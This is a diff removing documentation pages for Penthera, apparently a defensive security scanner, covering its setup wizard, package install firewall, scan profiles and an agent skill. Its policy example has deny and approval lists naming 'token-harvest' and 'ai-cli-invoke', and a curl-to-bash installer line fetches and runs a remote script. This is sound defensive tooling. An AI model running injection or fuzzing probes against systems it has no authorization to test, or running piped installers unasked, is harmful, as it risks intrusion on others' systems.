Running 3 checks (offline)
|
|
57
|
-
✓ Code B 1 high 0.1s
|
|
58
|
-
✓ Dependencies A no issues 0.0s
|
|
59
|
-
✓ AI tooling A 1 medium 0.0s
|
|
60
|
-
```
|
|
61
|
-
|
|
62
|
-
Every report lands in `reports/penthera-<date>/`: `code`, `deps`, `agents` and
|
|
63
|
-
`app` as JSON and Markdown, plus `summary.md` and `summary.json`.
|
|
64
|
-
|
|
65
|
-
**4. Set up.** Each step is a yes/no:
|
|
66
|
-
|
|
67
|
-
| Step | Default | What it does |
|
|
68
|
-
|---|---|---|
|
|
69
|
-
| Pre-commit hook | yes | `penthera hook install`: blocks staged secrets, risky agent config and lockfile changes ([hook.md](hook.md)). Git repos only |
|
|
70
|
-
| GitHub workflow | yes | Writes `.github/workflows/penthera.yml` from [the PR dependency review example](../examples/pr-dependency-review.yml), with the action pinned to the release commit SHA. Shown as a diff first. Needs a git repo and `package-lock.json` |
|
|
71
|
-
| `.gitignore` | yes | Appends `reports/` so scan output is never committed |
|
|
72
|
-
| Fix loop | no | `penthera agent --loop` on a local `penthera/fix-<date>` branch; every diff asks first ([fix.md](fix.md)) |
|
|
73
|
-
| Dashboard | yes | `penthera ui --open` on this run's reports ([dashboard.md](../dashboard.md)). Runs until Ctrl-C |
|
|
74
|
-
|
|
75
|
-
Steps that are already done (a hook or workflow that exists, `reports/` already
|
|
76
|
-
ignored) are skipped and say so.
|
|
77
|
-
|
|
78
|
-
**5. What next.** The commands to rerun each check, check staged changes, run
|
|
79
|
-
the fix loop or open the dashboard.
|
|
80
|
-
|
|
81
|
-
## `--yes` and `--dry-run`
|
|
82
|
-
|
|
83
|
-
`--yes` answers every question with its safe default: the code, dependency and
|
|
84
|
-
AI tooling checks that apply, offline, then the hook, the workflow and
|
|
85
|
-
`.gitignore`. It never scans a URL, never runs the fix loop and never opens the
|
|
86
|
-
dashboard, even when a dev server is running.
|
|
87
|
-
|
|
88
|
-
`--dry-run` runs detection and asks the questions, then prints what it would
|
|
89
|
-
run and write instead of doing it. Combine them for a plan with no prompts:
|
|
90
|
-
|
|
91
|
-
```bash
|
|
92
|
-
penthera init --yes --dry-run
|
|
93
|
-
```
|
|
94
|
-
|
|
95
|
-
`penthera --yes` and `penthera --dry-run` (no other arguments) are the same as
|
|
96
|
-
`penthera init --yes` and `penthera init --dry-run`.
|
|
97
|
-
|
|
98
|
-
## What it never does
|
|
99
|
-
|
|
100
|
-
- Commit, push, open a pull request, or touch a remote. The workflow file is
|
|
101
|
-
written for you to review and commit yourself.
|
|
102
|
-
- Write outside the project: reports, `.gitignore` and the workflow go under
|
|
103
|
-
the project root (the git top level when there is one), the hook into the
|
|
104
|
-
repository's hooks folder.
|
|
105
|
-
- Contact anything but localhost, unless you turn offline mode off or confirm
|
|
106
|
-
the running app.
|
|
107
|
-
|
|
108
|
-
Exit code: 0 when the wizard finishes (whatever the grades), 2 for a bad flag.
|
|
109
|
-
For a gate in CI, use the commands themselves (`penthera --repo .`, `penthera deps`):
|
|
110
|
-
they exit 1 on high or critical findings.
|
|
111
|
-
|
|
112
|
-
The pinned SHA is the last release tagged before this version
|
|
113
|
-
(`ACTION_PIN` in `src/cli/onboarding.js`); Dependabot's `github-actions`
|
|
114
|
-
updates keep it current in your repo.
|
package/docs/commands/install.md
DELETED
|
@@ -1,53 +0,0 @@
|
|
|
1
|
-
# Install firewall: `penthera install`
|
|
2
|
-
|
|
3
|
-
### Install firewall: `penthera install`
|
|
4
|
-
|
|
5
|
-
`penthera deps` tells you what changed after the fact. `penthera install` asks
|
|
6
|
-
before anything runs:
|
|
7
|
-
|
|
8
|
-
```bash
|
|
9
|
-
penthera install left-pad # check, then install (asks if the policy says so)
|
|
10
|
-
penthera install -D vitest --dry-run # report only
|
|
11
|
-
penthera install --yes # CI: install only if nothing breaches the policy
|
|
12
|
-
```
|
|
13
|
-
|
|
14
|
-
```
|
|
15
|
-
▲ color-helper 1.0.0 → 1.1.0 + install script
|
|
16
|
-
postinstall: node postinstall.js
|
|
17
|
-
|
|
18
|
-
Policy defaults (no penthera.policy.json)
|
|
19
|
-
! color-helper@1.1.0 needs approval: install script
|
|
20
|
-
|
|
21
|
-
Install anyway? [y]es, run the install scripts / [s]kip scripts / [N]o:
|
|
22
|
-
```
|
|
23
|
-
|
|
24
|
-
1. npm resolves the new tree in a temporary copy of `package.json` and the
|
|
25
|
-
lockfile, with scripts off (`npm install --package-lock-only --ignore-scripts`).
|
|
26
|
-
2. New tarballs are fetched with `npm cache add`. Nothing is unpacked into
|
|
27
|
-
`node_modules` and no package code runs; each tarball is checked against
|
|
28
|
-
the proposed lockfile's integrity before it is read.
|
|
29
|
-
3. The `deps` engine diffs capabilities against your current lockfile, lists
|
|
30
|
-
new install scripts with their commands, and checks new names for typosquats.
|
|
31
|
-
4. `penthera.policy.json` decides. On approval, the reviewed lockfile is
|
|
32
|
-
installed as is, with `--ignore-scripts` unless you approved the scripts
|
|
33
|
-
(on npm 12+, approved scripts are pinned in `package.json` `allowScripts`).
|
|
34
|
-
On abort, exit code 1, and the project is byte for byte unchanged.
|
|
35
|
-
|
|
36
|
-
```json
|
|
37
|
-
{
|
|
38
|
-
"allow": ["@acme/*", "esbuild", "sharp@0.33.5"],
|
|
39
|
-
"deny": ["ai-cli-invoke", "token-harvest"],
|
|
40
|
-
"requireApproval": ["install-scripts", "ai-config-write", "ai-cli-invoke",
|
|
41
|
-
"token-harvest", "obfuscated", "typosquat", "unscanned"]
|
|
42
|
-
}
|
|
43
|
-
```
|
|
44
|
-
|
|
45
|
-
`deny` and `requireApproval` take capability ids from the table above
|
|
46
|
-
(`install-scripts`, `shell`, `network`, `env-bulk`, `obfuscated`, ...) plus
|
|
47
|
-
`typosquat` and `unscanned`. The `requireApproval` list shown is the default.
|
|
48
|
-
`allow` takes names or globs, optionally pinned to a version, and overrides
|
|
49
|
-
both. The one network use is npm talking to your configured registry, and
|
|
50
|
-
Penthera prints which one; Penthera itself sends nothing. Workspaces and
|
|
51
|
-
`file:` dependencies are not supported yet.
|
|
52
|
-
|
|
53
|
-
[Back to the README](../../README.md) · [All commands](README.md)
|
package/docs/commands/scan.md
DELETED
|
@@ -1,100 +0,0 @@
|
|
|
1
|
-
# Scanning your app: `penthera <url>` and `--repo`
|
|
2
|
-
|
|
3
|
-
Black-box scans of a running app (localhost, preview, or staging) and white-box scans of its source. The default scan is non-destructive; payload-based testing is opt-in.
|
|
4
|
-
|
|
5
|
-
## Scan modes and profiles
|
|
6
|
-
|
|
7
|
-
| Mode | Command | Coverage |
|
|
8
|
-
|------|---------|----------|
|
|
9
|
-
| **URL scan** | `penthera https://example.com` | TLS, fingerprinting, endpoint discovery, templates, CORS, cookies, JS CVEs, param discovery, OpenAPI/FastAPI probes, security headers, auth hardening |
|
|
10
|
-
| **Repo scan** | `penthera --repo ./my-app` | API route discovery (Next.js, Express, Hono, Fastify), trust-boundary mapping, hardcoded-secret scanning (including Anthropic, OpenAI, Gemini, Groq, Hugging Face and other AI provider keys) |
|
|
11
|
-
| **Combined** | `penthera https://staging.app --repo .` | Black-box and white-box in one run |
|
|
12
|
-
| **Interactive** | `penthera` *(no args)* | Guided wizard (URL plus optional repo scan, Markdown report) |
|
|
13
|
-
| **Machine audit** | `penthera --machine` | macOS checks (keyloggers, persistence, rootkits) |
|
|
14
|
-
| **Dependencies** | `penthera deps` | What each npm or Python package can do (install scripts, shell, network, env, eval, native, obfuscation, `.pth` startup hooks), capability diff on upgrades, typosquats. Offline ([deps.md](deps.md)) |
|
|
15
|
-
|
|
16
|
-
Pick a profile, or add individual flags for more depth:
|
|
17
|
-
|
|
18
|
-
| Profile | Command | What runs |
|
|
19
|
-
|---------|---------|-----------|
|
|
20
|
-
| **quick** | `--profile quick` | Headers, OpenAPI, auth smoke tests (about 10s) |
|
|
21
|
-
| **standard** | *(default)* | Full non-destructive scan |
|
|
22
|
-
| **deep** | `--profile deep` | recon, injection probes, and API fuzzing |
|
|
23
|
-
|
|
24
|
-
Individual flags: `--recon`, `--deep`, `--fuzz`, `--adaptive`, `--nuclei <path>`, `--templates <dirs>`, `--all`
|
|
25
|
-
|
|
26
|
-
## Quick start
|
|
27
|
-
|
|
28
|
-
```bash
|
|
29
|
-
# First time? Run with no args for guided setup
|
|
30
|
-
penthera
|
|
31
|
-
|
|
32
|
-
# Safe default scan (non-destructive)
|
|
33
|
-
penthera https://myapp.com
|
|
34
|
-
|
|
35
|
-
# Staging plus source code, full report set
|
|
36
|
-
penthera https://staging.myapp.com --repo . --all -o reports/scan.json --sarif reports/scan.sarif
|
|
37
|
-
|
|
38
|
-
# Baseline diff: show only new findings since the last scan
|
|
39
|
-
penthera https://myapp.com -o reports/scan.json --baseline reports/previous.json
|
|
40
|
-
|
|
41
|
-
# Authenticated scan (session cookie or bearer token)
|
|
42
|
-
PENTHERA_BEARER=eyJ... penthera https://myapp.com --profile standard
|
|
43
|
-
penthera https://myapp.com --auth-cookie "session=abc123"
|
|
44
|
-
```
|
|
45
|
-
|
|
46
|
-
Writing to `-o reports/scan.json` also drops a human-readable `reports/scan.md`
|
|
47
|
-
next to it. Reports are gitignored by default.
|
|
48
|
-
|
|
49
|
-
### Exit codes
|
|
50
|
-
|
|
51
|
-
| Code | Meaning |
|
|
52
|
-
|------|---------|
|
|
53
|
-
| `0` | No critical or high findings |
|
|
54
|
-
| `1` | Critical or high findings detected |
|
|
55
|
-
| `2` | Scan failed (unreachable target, bad config) |
|
|
56
|
-
|
|
57
|
-
---
|
|
58
|
-
|
|
59
|
-
## Output
|
|
60
|
-
|
|
61
|
-
| Format | Flag | Use |
|
|
62
|
-
|--------|------|-----|
|
|
63
|
-
| Terminal | *(default)* | Colored summary plus top 3 fixes |
|
|
64
|
-
| **Markdown** | `--markdown file.md` or `-o file.json` | Human-readable report (exec summary, findings tables, fixes). Written next to `-o` automatically |
|
|
65
|
-
| JSON | `--json` or `-o file.json` | CI pipelines, baseline diffs, custom tooling |
|
|
66
|
-
| SARIF | `--sarif file.sarif` | GitHub Security / Code Scanning tab |
|
|
67
|
-
| Audience report | `--audience developer\|owner\|auditor` | The same scan written for a developer, an owner or an auditor ([docs/evidence.md](../evidence.md#audience-reports)) |
|
|
68
|
-
| Your template | `--report-template file.md` | Your own Markdown with `{{summary.critical}}`, `{{#each findings}}`, `{{#if x}}`; no code runs |
|
|
69
|
-
| **Evidence bundle** | `--evidence <dir> [--sign-key <ssh-key>]` | All reports plus `manifest.json` with SHA-256s, optionally SSH-signed. Auditors check it with `penthera evidence verify <dir> --allowed-signers <file>` ([docs/evidence.md](../evidence.md)) |
|
|
70
|
-
|
|
71
|
-
## CI integration
|
|
72
|
-
|
|
73
|
-
```yaml
|
|
74
|
-
# Scan a staging URL on a schedule and upload results to GitHub Security.
|
|
75
|
-
- run: npx penthera@1.7.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
|
|
76
|
-
- uses: github/codeql-action/upload-sarif@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0
|
|
77
|
-
with:
|
|
78
|
-
sarif_file: reports/scan.sarif
|
|
79
|
-
```
|
|
80
|
-
|
|
81
|
-
Copy the full workflow from
|
|
82
|
-
[`docs/examples/github-actions-scan.yml`](../examples/github-actions-scan.yml)
|
|
83
|
-
into your app's repo. Pin the Penthera version so a scheduled run never picks up
|
|
84
|
-
code you have not reviewed.
|
|
85
|
-
|
|
86
|
-
Penthera's own CI runs the full test suite on Node 22 and 24, self-scans a mock
|
|
87
|
-
vulnerable API on every push, and runs CodeQL and OpenSSF Scorecard.
|
|
88
|
-
|
|
89
|
-
## Configuration
|
|
90
|
-
|
|
91
|
-
For live integration tests against your own routes:
|
|
92
|
-
|
|
93
|
-
```bash
|
|
94
|
-
cp pentest.config.example.js pentest.config.js # gitignored
|
|
95
|
-
```
|
|
96
|
-
|
|
97
|
-
Edit the route groups, then run `npm run pentest:live`. Set `PENTEST_BASE_URL` to
|
|
98
|
-
point at staging without editing the file.
|
|
99
|
-
|
|
100
|
-
[Back to the README](../../README.md) · [All commands](README.md)
|
package/docs/commands/skill.md
DELETED
|
@@ -1,58 +0,0 @@
|
|
|
1
|
-
# Penthera as an Agent Skill
|
|
2
|
-
|
|
3
|
-
## For your AI coding agent
|
|
4
|
-
|
|
5
|
-
Penthera ships as an [Agent Skill](https://agentskills.io), the open format used
|
|
6
|
-
by Cursor, Claude Code, Claude.ai, and [40+ agent tools](https://agentskills.io/clients).
|
|
7
|
-
The skill teaches an agent to run authorized scans, pick the right profile, and
|
|
8
|
-
summarize findings, so you can just describe what you want.
|
|
9
|
-
|
|
10
|
-
**Install** (any of these):
|
|
11
|
-
|
|
12
|
-
```bash
|
|
13
|
-
# Cross-agent, frictionless
|
|
14
|
-
npx skills add danoszz/penthera
|
|
15
|
-
|
|
16
|
-
# Or the one-line installer (also links the CLI)
|
|
17
|
-
curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash
|
|
18
|
-
|
|
19
|
-
# Or copy into a single project for team sharing
|
|
20
|
-
cp -r skills/penthera .cursor/skills/penthera # Cursor
|
|
21
|
-
cp -r skills/penthera .claude/skills/penthera # Claude Code
|
|
22
|
-
```
|
|
23
|
-
|
|
24
|
-
Or as a Claude Code plugin (installs the skill):
|
|
25
|
-
|
|
26
|
-
```bash
|
|
27
|
-
/plugin marketplace add danoszz/penthera
|
|
28
|
-
/plugin install penthera@penthera
|
|
29
|
-
```
|
|
30
|
-
|
|
31
|
-
For Claude.ai (web), zip and upload the skill:
|
|
32
|
-
|
|
33
|
-
```bash
|
|
34
|
-
npm run package:skill # produces penthera-skill.zip; upload in Settings > Capabilities > Skills
|
|
35
|
-
```
|
|
36
|
-
|
|
37
|
-
**Prompts that trigger it:**
|
|
38
|
-
|
|
39
|
-
- "Scan my localhost app on port 3000 for security issues"
|
|
40
|
-
- "Run a pre-deploy audit on staging.myapp.com and summarize critical findings"
|
|
41
|
-
- "Scan this repo for hardcoded secrets and exposed API routes"
|
|
42
|
-
- "Compare today's scan to last week's baseline and show only new findings"
|
|
43
|
-
- "Generate a SARIF report for GitHub code scanning"
|
|
44
|
-
- "Audit my MCP servers, skills and Claude Code hooks"
|
|
45
|
-
|
|
46
|
-
The skill adds an authorization gate: it instructs the agent to refuse targets you
|
|
47
|
-
do not own or are not authorized to test, and the wizard asks you to confirm before
|
|
48
|
-
scanning a remote host. It is an agent-level and interactive safeguard, not something
|
|
49
|
-
the raw CLI enforces. You are responsible for every target you pass it. Run preflight
|
|
50
|
-
before the first scan:
|
|
51
|
-
|
|
52
|
-
```bash
|
|
53
|
-
bash skills/penthera/scripts/preflight.sh http://localhost:3000
|
|
54
|
-
```
|
|
55
|
-
|
|
56
|
-
Skill source and workflows live in [`skills/penthera/SKILL.md`](../../skills/penthera/SKILL.md).
|
|
57
|
-
|
|
58
|
-
[Back to the README](../../README.md) · [All commands](README.md)
|
package/docs/compare/README.md
DELETED
|
@@ -1,25 +0,0 @@
|
|
|
1
|
-
# How Penthera compares
|
|
2
|
-
|
|
3
|
-
Penthera is a free, offline, MIT-licensed toolkit. Most teams that use it also
|
|
4
|
-
use at least one of the tools below, and these pages are written for them: what
|
|
5
|
-
each tool is for, where it goes further than Penthera, and how to run the two
|
|
6
|
-
together.
|
|
7
|
-
|
|
8
|
-
| Page | In one line |
|
|
9
|
-
|---|---|
|
|
10
|
-
| [Penthera and Socket](socket.md) | Socket watches the package registries; Penthera checks your app and your AI tooling on your machine |
|
|
11
|
-
| [Penthera and Snyk](snyk.md) | Snyk brings curated vulnerability data across many languages; Penthera looks at behaviour, the running app and agent config |
|
|
12
|
-
| [Penthera and GitHub (Dependabot, code scanning)](github.md) | GitHub alerts on known CVEs and runs CodeQL; Penthera's SARIF lands in the same tab |
|
|
13
|
-
| [Penthera and OWASP ZAP](zap.md) | ZAP is the deeper dynamic scanner; Penthera is a quicker first pass with source context |
|
|
14
|
-
| [Penthera and Semgrep](semgrep.md) | Semgrep is the deeper static analyser for your code; Penthera adds dependencies, the live app and AI tooling |
|
|
15
|
-
|
|
16
|
-
## How these pages are written
|
|
17
|
-
|
|
18
|
-
- Every claim about another product comes from that product's public docs or
|
|
19
|
-
pricing page, linked inline. Anything we could not confirm is left out.
|
|
20
|
-
- Each page names where the other tool goes further. Most of them go further
|
|
21
|
-
than Penthera somewhere.
|
|
22
|
-
- Prices and plans change. Each page has a last-checked date; check the vendor's
|
|
23
|
-
page before you rely on a number.
|
|
24
|
-
|
|
25
|
-
Spotted something wrong or out of date? Please open an issue or a pull request.
|